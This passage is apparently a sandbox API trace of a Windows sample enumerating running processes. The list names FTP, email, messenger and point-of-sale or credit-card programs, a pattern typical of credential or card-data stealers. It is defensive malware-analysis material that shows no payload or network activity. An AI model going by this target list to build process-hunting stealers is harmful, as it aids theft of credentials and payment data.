th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0277.741] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0277.743] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0277.745] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0277.747] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0277.748] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0277.750] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0277.752] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0277.754] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0277.756] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0277.758] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0277.760] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0277.762] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0277.763] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0277.765] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0277.767] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0277.769] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0277.772] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0277.774] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0277.818] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0277.820] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0277.823] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0277.825] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0277.828] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0277.830] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0277.832] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0277.835] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0277.837] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0277.840] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0277.843] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0277.845] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0277.847] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0277.849] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0277.852] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0277.854] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0277.856] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0277.858] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0277.913] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0277.915] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0277.917] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0277.919] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0277.920] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0277.922] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0277.924] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0277.925] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0277.927] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0277.929] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0277.931] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0277.932] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0277.934] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0277.936] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0277.938] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0277.940] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0277.943] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0277.945] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0277.990] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0277.992] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0277.993] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0277.995] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0277.996] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0277.998] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0278.000] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0278.001] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0278.004] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0278.006] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0278.008] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0278.010] CloseHandle (hObject=0x344) returned 1 [0278.010] Sleep (dwMilliseconds=0x64) [0278.053] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0278.118] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0278.120] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0278.121] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0278.123] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.125] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0278.126] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.129] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0278.131] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0278.132] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0278.134] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.136] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.137] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0278.139] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.141] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.143] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.145] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.147] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.148] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.150] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.152] Process32Next (in: hSnapshot=0x344, 